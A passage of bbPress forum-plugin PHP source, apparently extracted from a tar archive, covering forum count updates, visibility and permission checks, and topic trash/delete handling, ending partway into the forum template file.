	$forum_id = bbp_get_forum_id( $forum_id );

	// Check time and use current if empty
	if ( empty( $new_time ) ) {
		$new_time = get_post_field( 'post_date', bbp_get_forum_last_active_id( $forum_id ) );
	}

	// Update only if there is a time
	if ( ! empty( $new_time ) ) {
		update_post_meta( $forum_id, '_bbp_last_active_time', $new_time );
	}

	// Filter & return
	return apply_filters( 'bbp_update_forum_last_active', $new_time, $forum_id );
}

/**
 * Update the forum sub-forum count
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id
 * @param int $subforums Optional. Number of subforums
 * @return bool True on success, false on failure
 */
function bbp_update_forum_subforum_count( $forum_id = 0, $subforums = false ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	// Maybe query for counts
	$subforums = ! is_int( $subforums )
		? bbp_get_public_child_count( $forum_id, bbp_get_forum_post_type() )
		: (int) $subforums;

	update_post_meta( $forum_id, '_bbp_forum_subforum_count', $subforums );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_subforum_count', $subforums, $forum_id );
}

/**
 * Adjust the total topic count of a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id or topic id. It is checked whether it
 *                       is a topic or a forum. If it's a topic, its parent,
 *                       i.e. the forum is automatically retrieved.
 * @param bool $total_count Optional. To return the total count or normal count?
 * @return int Forum topic count
 */
function bbp_update_forum_topic_count( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );
	$children_topic_count = 0;

	// Loop through subforums and add together forum topic counts
	$children = bbp_forum_query_subforum_ids( $forum_id );
	if ( ! empty( $children ) ) {
		foreach ( $children as $child ) {
			$children_topic_count += bbp_update_forum_topic_count( $child ); // Recursive
		}
	}

	// Get total topics for this forum
	$topics = bbp_get_public_child_count( $forum_id, bbp_get_topic_post_type() );

	// Calculate total topics in this forum
	$total_topics = (int) ( $topics + $children_topic_count );

	// Update the count
	update_post_meta( $forum_id, '_bbp_topic_count',       $topics       );
	update_post_meta( $forum_id, '_bbp_total_topic_count', $total_topics );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_topic_count', $total_topics, $forum_id );
}

/**
 * Adjust the total hidden topic count of a forum (hidden includes trashed,
 * spammed and pending topics)
 *
 * @since 2.0.0 bbPress (r2888)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int $forum_id Optional. Topic id to update.
 * @param int $topic_count Optional. Set the topic count manually.
 *
 * @return int Topic hidden topic count
 */
function bbp_update_forum_topic_count_hidden( $forum_id = 0, $topic_count = false ) {

	// If topic_id was passed as $forum_id, then get its forum
	if ( bbp_is_topic( $forum_id ) ) {
		$topic_id = bbp_get_topic_id( $forum_id );
		$forum_id = bbp_get_topic_forum_id( $topic_id );

	// $forum_id is not a topic_id, so validate and proceed
	} else {
		$forum_id = bbp_get_forum_id( $forum_id );
	}

	// Can't update what isn't there
	if ( ! empty( $forum_id ) ) {

		// Get topics of forum
		if ( ! is_int( $topic_count ) ) {
			$query = new WP_Query( array(
				'fields'         => 'ids',
				'post_parent'    => $forum_id,
				'post_status'    => bbp_get_non_public_topic_statuses(),
				'post_type'      => bbp_get_topic_post_type(),
				'posts_per_page' => -1,

				// Performance
				'nopaging'               => true,
				'suppress_filters'       => true,
				'update_post_term_cache' => false,
				'update_post_meta_cache' => false,
				'ignore_sticky_posts'    => true,
				'no_found_rows'          => true
			) );
			$topic_count = $query->post_count;
			unset( $query );
		}

		$topic_count = (int) $topic_count;

		// Update the count
		update_post_meta( $forum_id, '_bbp_topic_count_hidden', $topic_count );
	}

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_topic_count_hidden', $topic_count, $forum_id );
}

/**
 * Adjust the total reply count of a forum
 *
 * @since 2.0.0 bbPress (r2464)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int  $forum_id Optional. Forum id or topic id. It is checked whether it
 *                       is a topic or a forum. If it's a topic, its parent,
 *                       i.e. the forum is automatically retrieved.
 *
 * @return int Forum reply count
 */
function bbp_update_forum_reply_count( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );
	$children_reply_count = 0;

	// Loop through children and add together forum reply counts
	$children = bbp_forum_query_subforum_ids( $forum_id );
	if ( ! empty( $children ) ) {
		foreach ( (array) $children as $child ) {
			$children_reply_count += bbp_update_forum_reply_count( $child );
		}
	}

	// Don't count replies if the forum is a category
	$reply_count = ! bbp_is_forum_category( $forum_id )
		? bbp_get_public_child_count( $forum_id, bbp_get_reply_post_type() )
		: 0;

	// Calculate total replies in this forum
	$total_replies = (int) ( $reply_count + $children_reply_count );

	// Update the counts
	update_post_meta( $forum_id, '_bbp_reply_count',       $reply_count   );
	update_post_meta( $forum_id, '_bbp_total_reply_count', $total_replies );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_reply_count', $total_replies, $forum_id );
}

/**
 * Adjust the total hidden reply count of a forum
 *
 * @since 2.6.0 bbPress (r6922)
 *
 * @param int  $forum_id Optional. Forum id or topic id. It is checked whether it
 *                       is a topic or a forum. If it's a topic, its parent,
 *                       i.e. the forum is automatically retrieved.
 *
 * @return int Forum reply count
 */
function bbp_update_forum_reply_count_hidden( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );
	$children_reply_count = 0;

	// Loop through children and add together forum reply counts
	$children = bbp_forum_query_subforum_ids( $forum_id );
	if ( ! empty( $children ) ) {
		foreach ( (array) $children as $child ) {
			$children_reply_count += bbp_update_forum_reply_count_hidden( $child );
		}
	}

	// Don't count replies if the forum is a category
	$reply_count = ! bbp_is_forum_category( $forum_id )
		? bbp_get_non_public_child_count( $forum_id, bbp_get_reply_post_type() )
		: 0;

	// Calculate total replies in this forum
	$total_replies = (int) ( $reply_count + $children_reply_count );

	// Update the counts
	update_post_meta( $forum_id, '_bbp_reply_count_hidden',       $reply_count   );
	update_post_meta( $forum_id, '_bbp_total_reply_count_hidden', $total_replies );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_reply_count_hidden', $total_replies, $forum_id );
}

/**
 * Updates the counts of a forum.
 *
 * This calls a few internal functions that all run manual queries against the
 * database to get their results. As such, this function can be costly to run
 * but is necessary to keep everything accurate.
 *
 * @since 2.0.0 bbPress (r2908)
 *
 * @param array $args Supports these arguments:
 *  - forum_id: Forum id
 *  - last_topic_id: Last topic id
 *  - last_reply_id: Last reply id
 *  - last_active_id: Last active post id
 *  - last_active_time: last active time
 */
function bbp_update_forum( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'forum_id'           => 0,
		'post_parent'        => 0,
		'last_topic_id'      => 0,
		'last_reply_id'      => 0,
		'last_active_id'     => 0,
		'last_active_time'   => 0,
		'last_active_status' => bbp_get_public_status_id()
	), 'update_forum' );

	// Update the forum parent
	bbp_update_forum_id( $r['forum_id'], $r['post_parent'] );

	// Last topic and reply ID's
	bbp_update_forum_last_topic_id( $r['forum_id'], $r['last_topic_id'] );
	bbp_update_forum_last_reply_id( $r['forum_id'], $r['last_reply_id'] );

	// Active dance
	$r['last_active_id'] = bbp_update_forum_last_active_id( $r['forum_id'], $r['last_active_id'] );

	// If no active time was passed, get it from the last_active_id
	if ( empty( $r['last_active_time'] ) ) {
		$r['last_active_time'] = get_post_field( 'post_date', $r['last_active_id'] );
	}

	if ( bbp_get_public_status_id() === $r['last_active_status'] ) {
		bbp_update_forum_last_active_time( $r['forum_id'], $r['last_active_time'] );
	}

	// Counts
	bbp_update_forum_subforum_count( $r['forum_id'] );

	// Only update topic count if we've deleted a topic
	if ( in_array( current_filter(), array( 'bbp_deleted_topic', 'save_post' ), true ) ) {
		bbp_update_forum_reply_count(        $r['forum_id'] );
		bbp_update_forum_topic_count(        $r['forum_id'] );
		bbp_update_forum_topic_count_hidden( $r['forum_id'] );
		bbp_update_forum_reply_count_hidden( $r['forum_id'] );
	}

	// Update the parent forum if one was passed
	if ( ! empty( $r['post_parent'] ) && is_numeric( $r['post_parent'] ) ) {
		bbp_update_forum( array(
			'forum_id'    => $r['post_parent'],
			'post_parent' => get_post_field( 'post_parent', $r['post_parent'] )
		) );
	}

	// Bump the custom query cache
	wp_cache_set( 'last_changed', microtime(), 'bbpress_posts' );
}

/** Helpers *******************************************************************/

/**
 * Return an associative array of available topic statuses
 *
 * Developers note: these statuses are actually stored as meta data, and
 * Visibilities are stored in post_status.
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param int $forum_id   Optional. Forum id.
 *
 * @return array
 */
function bbp_get_forum_statuses( $forum_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_statuses', array(
		'open'   => _x( 'Open',    'Open the forum',  'bbpress' ),
		'closed' => _x( 'Closed',  'Close the forum', 'bbpress' )
	), $forum_id );
}

/**
 * Return an associative array of forum types
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param int $forum_id   Optional. Forum id.
 *
 * @return array
 */
function bbp_get_forum_types( $forum_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_types', array(
		'forum'    => _x( 'Forum',    'Forum accepts new topics', 'bbpress' ),
		'category' => _x( 'Category', 'Forum is a category',      'bbpress' )
	), $forum_id );
}

/**
 * Return an associative array of forum visibility
 *
 * Developers note: these visibilities are actually stored in post_status, and
 * Statuses are stored in meta data.
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param int $forum_id   Optional. Forum id.
 *
 * @return array
 */
function bbp_get_forum_visibilities( $forum_id = 0) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_visibilities', array(
		bbp_get_public_status_id()  => _x( 'Public',  'Make forum public',  'bbpress' ),
		bbp_get_private_status_id() => _x( 'Private', 'Make forum private', 'bbpress' ),
		bbp_get_hidden_status_id()  => _x( 'Hidden',  'Make forum hidden',  'bbpress' )
	), $forum_id );
}

/**
 * Return array of public forum statuses.
 *
 * @since 2.6.0 bbPress (r6921)
 *
 * @return array
 */
function bbp_get_public_forum_statuses() {
	$statuses = array(
		bbp_get_public_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_public_forum_statuses', $statuses );
}

/**
 * Return array of non-public forum statuses.
 *
 * @since 2.6.0 bbPress (r6921)
 *
 * @return array
 */
function bbp_get_non_public_forum_statuses() {
	$statuses = array(
		bbp_get_private_status_id(),
		bbp_get_hidden_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_non_public_forum_statuses', $statuses );
}

/** Queries *******************************************************************/

/**
 * Returns the hidden forum ids
 *
 * Only hidden forum ids are returned. Public and private ids are not.
 *
 * @since 2.0.0 bbPress (r3007)
 */
function bbp_get_hidden_forum_ids() {
	$forum_ids = get_option( '_bbp_hidden_forums', array() );
	$forum_ids = ! empty( $forum_ids )
		? wp_parse_id_list( $forum_ids )
		: array();

	// Filter & return
	return (array) apply_filters( 'bbp_get_hidden_forum_ids', $forum_ids );
}

/**
 * Returns the private forum ids
 *
 * Only private forum ids are returned. Public and hidden ids are not.
 *
 * @since 2.0.0 bbPress (r3007)
 */
function bbp_get_private_forum_ids() {
	$forum_ids = get_option( '_bbp_private_forums', array() );
	$forum_ids = ! empty( $forum_ids )
		? wp_parse_id_list( $forum_ids )
		: array();

	// Filter & return
	return (array) apply_filters( 'bbp_get_private_forum_ids', $forum_ids );
}

/**
 * Returns the forum IDs that should be excluded from various views & queries,
 * based on the current user's capabilities.
 *
 * These results are automatically filtered by bbp_allow_forums_of_user(), to
 * allow per-forum moderators to see forums that would otherwise be private or
 * hidden to them.
 *
 * If you have a need to filter these results based on your own custom
 * engagements API usages, please see: bbp_allow_forums_of_user()
 *
 * @since 2.6.0 bbPress (r6425)
 *
 * @return array Forum IDs to exclude, or an empty array
 */
function bbp_get_excluded_forum_ids() {

	// Private forums
	$private = ! current_user_can( 'read_private_forums' )
		? bbp_get_private_forum_ids()
		: array();

	// Hidden forums
	$hidden = ! current_user_can( 'read_hidden_forums' )
		? bbp_get_hidden_forum_ids()
		: array();

	// Merge private & hidden forums together, and remove any empties
	$forum_ids = ( ! empty( $private ) || ! empty( $hidden ) )
		? array_filter( wp_parse_id_list( array_merge( $private, $hidden ) ) )
		: array();

	// Filter & return
	return (array) apply_filters( 'bbp_get_excluded_forum_ids', $forum_ids, $private, $hidden );
}

/**
 * Returns a meta_query that either includes or excludes hidden forum IDs
 * from a query.
 *
 * @since 2.0.0 bbPress (r3291)
 *
 * @param string Optional. The type of value to return. (string|array|meta_query)
 */
function bbp_exclude_forum_ids( $type = 'string' ) {

	// Setup arrays
	$forum_ids = array();

	// Types
	$types = array(
		'array'      => array(),
		'string'     => '',
		'meta_query' => array()
	);

	// Exclude for everyone but keymasters
	if ( ! bbp_is_user_keymaster() ) {

		// Get forum IDs to exclude
		$forum_ids = bbp_get_excluded_forum_ids();

		// Store return values in static types array
		if ( ! empty( $forum_ids ) ) {

			// Comparison
			$compare = ( 1 < count( $forum_ids ) )
				? 'NOT IN'
				: '!=';

			// Setup types
			$types['array']      = $forum_ids;
			$types['string']     = implode( ',', $forum_ids );
			$types['meta_query'] = array(
				'key'     => '_bbp_forum_id',
				'value'   => $types['string'],
				'type'    => 'NUMERIC',
				'compare' => $compare
			);
		}
	}

	// There are forums that need to be excluded
	$retval = $types[ $type ];

	// Filter & return
	return apply_filters( 'bbp_exclude_forum_ids', $retval, $forum_ids, $type );
}

/**
 * Adjusts forum, topic, and reply queries to exclude items that might be
 * contained inside hidden or private forums that the user does not have the
 * capability to view.
 *
 * Doing it with an action allows us to trap all WP_Query's rather than needing
 * to hardcode this logic into each query. It also protects forum content for
 * plugins that might be doing their own queries.
 *
 * @since 2.0.0 bbPress (r3291)
 *
 * @param WP_Query $posts_query
 *
 * @return WP_Query
 */
function bbp_pre_get_posts_normalize_forum_visibility( $posts_query = null ) {

	// Bail if all forums are explicitly allowed
	if ( true === apply_filters( 'bbp_include_all_forums', false, $posts_query ) ) {
		return;
	}

	// Bail if $posts_query is not an object or of incorrect class
	if ( ! is_object( $posts_query ) || ! is_a( $posts_query, 'WP_Query' ) ) {
		return;
	}

	// Get query post types array .
	$post_types = (array) $posts_query->get( 'post_type' );

	// Forums
	if ( bbp_get_forum_post_type() === implode( '', $post_types ) ) {

		// Prevent accidental wp-admin post_row override
		if ( is_admin() && isset( $_REQUEST['post_status'] ) ) {
			return;
		}

		/** Default ***********************************************************/

		// Add all supported forum visibilities
		$posts_query->set( 'post_status', array_keys( bbp_get_forum_visibilities() ) );

		// Get forums to exclude
		$hidden_ids = bbp_exclude_forum_ids( 'array' );

		// Bail if no forums to exclude
		if ( empty( $hidden_ids ) ) {
			return;
		}

		// Get any existing meta queries
		$not_in = $posts_query->get( 'post__not_in', array() );

		// Add our meta query to existing
		$not_in = array_unique( array_merge( $not_in, $hidden_ids ) );

		// Set the meta_query var
		$posts_query->set( 'post__not_in', $not_in );

	// Some other post type besides Forums, Topics, or Replies
	} elseif ( ! array_diff( $post_types, bbp_get_post_types() ) ) {

		// Get forums to exclude
		$forum_ids = bbp_exclude_forum_ids( 'meta_query' );

		// Bail if no forums to exclude
		if ( empty( $forum_ids ) ) {
			return;
		}

		// Get any existing meta queries
		$meta_query   = (array) $posts_query->get( 'meta_query', array() );

		// Add our meta query to existing
		$meta_query[] = $forum_ids;

		// Set the meta_query var
		$posts_query->set( 'meta_query', $meta_query );
	}
}

/**
 * Returns the forum's topic ids
 *
 * Only topics with published and closed statuses are returned
 *
 * @since 2.0.0 bbPress (r2908)
 *
 * @param int $forum_id Forum id
 */
function bbp_forum_query_topic_ids( $forum_id ) {
	$topic_ids = bbp_get_public_child_ids( $forum_id, bbp_get_topic_post_type() );

	// Filter & return
	return (array) apply_filters( 'bbp_forum_query_topic_ids', $topic_ids, $forum_id );
}

/**
 * Returns the forum's subforum ids
 *
 * Only forums with published status are returned
 *
 * @since 2.0.0 bbPress (r2908)
 *
 * @param int $forum_id Forum id
 */
function bbp_forum_query_subforum_ids( $forum_id ) {
	$subforum_ids = bbp_get_all_child_ids( $forum_id, bbp_get_forum_post_type() );

	// Filter & return
	return (array) apply_filters( 'bbp_forum_query_subforum_ids', $subforum_ids, $forum_id );
}

/**
 * Returns the forum's last reply id
 *
 * @since 2.0.0 bbPress (r2908)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int $forum_id Forum id.
 * @param int $topic_ids Optional. Topic ids.
 */
function bbp_forum_query_last_reply_id( $forum_id = 0, $topic_ids = 0 ) {

	// Validate forum
	$forum_id = bbp_get_forum_id( $forum_id );

	// Get topic ID's if none were passed
	if ( empty( $topic_ids ) ) {
		$topic_ids = bbp_forum_query_topic_ids( $forum_id );
	}

	$query = new WP_Query( array(
		'fields'           => 'ids',
		'suppress_filters' => true,
		'post_parent__in'  => $topic_ids,
		'post_status'      => bbp_get_public_status_id(),
		'post_type'        => bbp_get_reply_post_type(),
		'posts_per_page'   => 1,
		'orderby'          => array(
			'post_date' => 'DESC',
			'ID'        => 'DESC'
		),

		// Performance
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	$reply_id = array_shift( $query->posts );

	unset( $query );

	// Filter & return
	return (int) apply_filters( 'bbp_forum_query_last_reply_id', $reply_id, $forum_id );
}

/** Listeners *****************************************************************/

/**
 * Check if it's a hidden forum or a topic or reply of a hidden forum and if
 * the user can't view it, then sets a 404
 *
 * @since 2.0.0 bbPress (r2996)
 */
function bbp_forum_enforce_hidden() {

	// Bail if not viewing a single item or if user has caps
	if ( ! is_singular() || bbp_is_user_keymaster() || current_user_can( 'read_hidden_forums' ) ) {
		return;
	}

	// Define local variables
	$forum_id = 0;
	$wp_query = bbp_get_wp_query();

	// Check post type
	switch ( $wp_query->get( 'post_type' ) ) {

		// Forum
		case bbp_get_forum_post_type() :
			$forum_id = bbp_get_forum_id( $wp_query->post->ID );
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$forum_id = bbp_get_topic_forum_id( $wp_query->post->ID );
			break;

		// Reply
		case bbp_get_reply_post_type() :
			$forum_id = bbp_get_reply_forum_id( $wp_query->post->ID );
			break;
	}

	// If forum is explicitly hidden and user not capable, set 404
	if ( ! empty( $forum_id ) && bbp_is_forum_hidden( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
		bbp_set_404( $wp_query );
	}
}

/**
 * Check if it's a private forum or a topic or reply of a private forum and if
 * the user can't view it, then sets a 404
 *
 * @since 2.0.0 bbPress (r2996)
 */
function bbp_forum_enforce_private() {

	// Bail if not viewing a single item or if user has caps
	if ( ! is_singular() || bbp_is_user_keymaster() || current_user_can( 'read_private_forums' ) ) {
		return;
	}

	// Define local variables
	$forum_id = 0;
	$wp_query = bbp_get_wp_query();

	// Check post type
	switch ( $wp_query->get( 'post_type' ) ) {

		// Forum
		case bbp_get_forum_post_type() :
			$forum_id = bbp_get_forum_id( $wp_query->post->ID );
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$forum_id = bbp_get_topic_forum_id( $wp_query->post->ID );
			break;

		// Reply
		case bbp_get_reply_post_type() :
			$forum_id = bbp_get_reply_forum_id( $wp_query->post->ID );
			break;

	}

	// If forum is explicitly hidden and user not capable, set 404
	if ( ! empty( $forum_id ) && bbp_is_forum_private( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
		bbp_set_404( $wp_query );
	}
}

/** Permissions ***************************************************************/

/**
 * Redirect if unauthorized user is attempting to edit a forum
 *
 * @since 2.1.0 bbPress (r3607)
 */
function bbp_check_forum_edit() {

	// Bail if not editing a topic
	if ( ! bbp_is_forum_edit() ) {
		return;
	}

	// User cannot edit topic, so redirect back to reply
	if ( ! current_user_can( 'edit_forum', bbp_get_forum_id() ) ) {
		bbp_redirect( bbp_get_forum_permalink() );
	}
}

/**
 * Delete all topics (and their replies) for a specific forum ID
 *
 * @since 2.1.0 bbPress (r3668)
 *
 * @param int $forum_id
 * @return If forum is not valid
 */
function bbp_delete_forum_topics( $forum_id = 0 ) {

	// Validate forum ID
	$forum_id = bbp_get_forum_id( $forum_id );
	if ( empty( $forum_id ) ) {
		return;
	}

	// Forum is being permanently deleted, so its content has go too
	// Note that we get all post statuses here
	$topics = new WP_Query( array(
		'fields'         => 'id=>parent',
		'post_type'      => bbp_get_topic_post_type(),
		'post_parent'    => $forum_id,
		'post_status'    => array_keys( get_post_stati() ),
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	// Loop through and delete child topics. Topic replies will get deleted by
	// the bbp_delete_topic() action.
	if ( ! empty( $topics->posts ) ) {
		foreach ( $topics->posts as $topic ) {
			wp_delete_post( $topic->ID, true );
		}

		// Reset the $post global
		wp_reset_postdata();
	}

	// Cleanup
	unset( $topics );
}

/**
 * Trash all topics inside a forum
 *
 * @since 2.1.0 bbPress (r3668)
 *
 * @param int $forum_id
 * @return If forum is not valid
 */
function bbp_trash_forum_topics( $forum_id = 0 ) {

	// Validate forum ID
	$forum_id = bbp_get_forum_id( $forum_id );
	if ( empty( $forum_id ) ) {
		return;
	}

	// Allowed post statuses to pre-trash
	$post_stati = array(
		bbp_get_public_status_id(),
		bbp_get_closed_status_id(),
		bbp_get_pending_status_id()
	);

	// Forum is being trashed, so its topics (and replies) are trashed too
	$topics = new WP_Query( array(
		'fields'         => 'id=>parent',
		'post_type'      => bbp_get_topic_post_type(),
		'post_parent'    => $forum_id,
		'post_status'    => $post_stati,
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	// Loop through and trash child topics. Topic replies will get trashed by
	// the bbp_trash_topic() action.
	if ( ! empty( $topics->posts ) ) {

		// Prevent debug notices
		$pre_trashed_topics = array();

		// Loop through topics, trash them, and add them to array
		foreach ( $topics->posts as $topic ) {
			wp_trash_post( $topic->ID, true );
			$pre_trashed_topics[] = $topic->ID;
		}

		// Set a post_meta entry of the topics that were trashed by this action.
		// This is so we can possibly untrash them, without untrashing topics
		// that were purposefully trashed before.
		update_post_meta( $forum_id, '_bbp_pre_trashed_topics', $pre_trashed_topics );

		// Reset the $post global
		wp_reset_postdata();
	}

	// Cleanup
	unset( $topics );
}

/**
 * Untrash all topics inside a forum
 *
 * @since 2.1.0 bbPress (r3668)
 *
 * @param int $forum_id
 * @return If forum is not valid
 */
function bbp_untrash_forum_topics( $forum_id = 0 ) {

	// Validate forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) ) {
		return;
	}

	// Get the topics that were not previously trashed
	$pre_trashed_topics = get_post_meta( $forum_id, '_bbp_pre_trashed_topics', true );

	// There are topics to untrash
	if ( ! empty( $pre_trashed_topics ) ) {

		// Maybe reverse the trashed topics array
		if ( is_array( $pre_trashed_topics ) ) {
			$pre_trashed_topics = array_reverse( $pre_trashed_topics );
		}

		// Loop through topics
		foreach ( (array) $pre_trashed_topics as $topic ) {
			wp_untrash_post( $topic );
		}
	}
}

/** Before Delete/Trash/Untrash ***********************************************/

/**
 * Called before deleting a forum.
 *
 * This function is supplemental to the actual forum deletion which is
 * handled by WordPress core API functions. It is used to clean up after
 * a forum that is being deleted.
 *
 * @since 2.1.0 bbPress (r3668)
 */
function bbp_delete_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_delete_forum', $forum_id );
}

/**
 * Called before trashing a forum
 *
 * This function is supplemental to the actual forum being trashed which is
 * handled by WordPress core API functions. It is used to clean up after
 * a forum that is being trashed.
 *
 * @since 2.1.0 bbPress (r3668)
 */
function bbp_trash_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_trash_forum', $forum_id );
}

/**
 * Called before untrashing a forum
 *
 * @since 2.1.0 bbPress (r3668)
 */
function bbp_untrash_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_untrash_forum', $forum_id );
}

/** After Delete/Trash/Untrash ************************************************/

/**
 * Called after deleting a forum
 *
 * Try not to use this action. All meta & taxonomy terms have already been
 * deleted, making them impossible to use.
 *
 * @since 2.1.0 bbPress (r3668)
 * @since 2.6.0 bbPress (r6526) Not recommend for usage
 */
function bbp_deleted_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_deleted_forum', $forum_id );
}

/**
 * Called after trashing a forum
 *
 * @since 2.1.0 bbPress (r3668)
 */
function bbp_trashed_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_trashed_forum', $forum_id );
}

/**
 * Called after untrashing a forum
 *
 * @since 2.1.0 bbPress (r3668)
 */
function bbp_untrashed_forum( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return false;
	}

	do_action( 'bbp_untrashed_forum', $forum_id );
}
includes/forums/index.php000066600000000072151771460310011515 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/forums/template.php000066600000233712151771460310012232 0ustar00<?php

/**
 * bbPress Forum Template Tags
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Post Type *****************************************************************/

/**
 * Output the unique id of the custom post type for forums
 *
 * @since 2.0.0 bbPress (r2857)
 */
function bbp_forum_post_type() {
	echo bbp_get_forum_post_type();
}
	/**
	 * Return the unique id of the custom post type for forums
	 *
	 * @since 2.0.0 bbPress (r2857)
	 *
	 * @return string The unique forum post type id
	 */
	function bbp_get_forum_post_type() {

		// Filter & return
		return apply_filters( 'bbp_get_forum_post_type', bbpress()->forum_post_type );
	}


/**
 * Return array of labels used by the forum post type
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_forum_post_type_labels() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_post_type_labels', array(
		'name'                     => esc_attr__( 'Forums',                     'bbpress' ),
		'menu_name'                => esc_attr__( 'Forums',                     'bbpress' ),
		'singular_name'            => esc_attr__( 'Forum',                      'bbpress' ),
		'all_items'                => esc_attr__( 'All Forums',                 'bbpress' ),
		'add_new'                  => esc_attr__( 'Add New',                    'bbpress' ),
		'add_new_item'             => esc_attr__( 'Create New Forum',           'bbpress' ),
		'edit'                     => esc_attr__( 'Edit',                       'bbpress' ),
		'edit_item'                => esc_attr__( 'Edit Forum',                 'bbpress' ),
		'new_item'                 => esc_attr__( 'New Forum',                  'bbpress' ),
		'view'                     => esc_attr__( 'View Forum',                 'bbpress' ),
		'view_item'                => esc_attr__( 'View Forum',                 'bbpress' ),
		'view_items'               => esc_attr__( 'View Forums',                'bbpress' ),
		'search_items'             => esc_attr__( 'Search Forums',              'bbpress' ),
		'not_found'                => esc_attr__( 'No forums found',            'bbpress' ),
		'not_found_in_trash'       => esc_attr__( 'No forums found in Trash',   'bbpress' ),
		'filter_items_list'        => esc_attr__( 'Filter forums list',         'bbpress' ),
		'items_list'               => esc_attr__( 'Forums list',                'bbpress' ),
		'items_list_navigation'    => esc_attr__( 'Forums list navigation',     'bbpress' ),
		'parent_item_colon'        => esc_attr__( 'Parent Forum:',              'bbpress' ),
		'archives'                 => esc_attr__( 'Forums',                     'bbpress' ),
		'attributes'               => esc_attr__( 'Forum Attributes',           'bbpress' ),
		'insert_into_item'         => esc_attr__( 'Insert into forum',          'bbpress' ),
		'uploaded_to_this_item'    => esc_attr__( 'Uploaded to this forum',     'bbpress' ),
		'featured_image'           => esc_attr__( 'Forum Image',                'bbpress' ),
		'set_featured_image'       => esc_attr__( 'Set forum image',            'bbpress' ),
		'remove_featured_image'    => esc_attr__( 'Remove forum image',         'bbpress' ),
		'use_featured_image'       => esc_attr__( 'Use as forum image',         'bbpress' ),
		'item_published'           => esc_attr__( 'Forum published.',           'bbpress' ),
		'item_published_privately' => esc_attr__( 'Forum published privately.', 'bbpress' ),
		'item_reverted_to_draft'   => esc_attr__( 'Forum reverted to draft.',   'bbpress' ),
		'item_scheduled'           => esc_attr__( 'Forum scheduled.',           'bbpress' ),
		'item_updated'             => esc_attr__( 'Forum updated.',             'bbpress' )
	) );
}

/**
 * Return array of forum post type rewrite settings
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_forum_post_type_rewrite() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_post_type_rewrite', array(
		'slug'       => bbp_get_forum_slug(),
		'with_front' => false
	) );
}

/**
 * Return array of features the forum post type supports
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_forum_post_type_supports() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_post_type_supports', array(
		'title',
		'editor',
		'revisions'
	) );
}

/** Forum Loop ****************************************************************/

/**
 * The main forum loop.
 *
 * WordPress makes this easy for us.
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param array $args All the arguments supported by {@link WP_Query}
 *
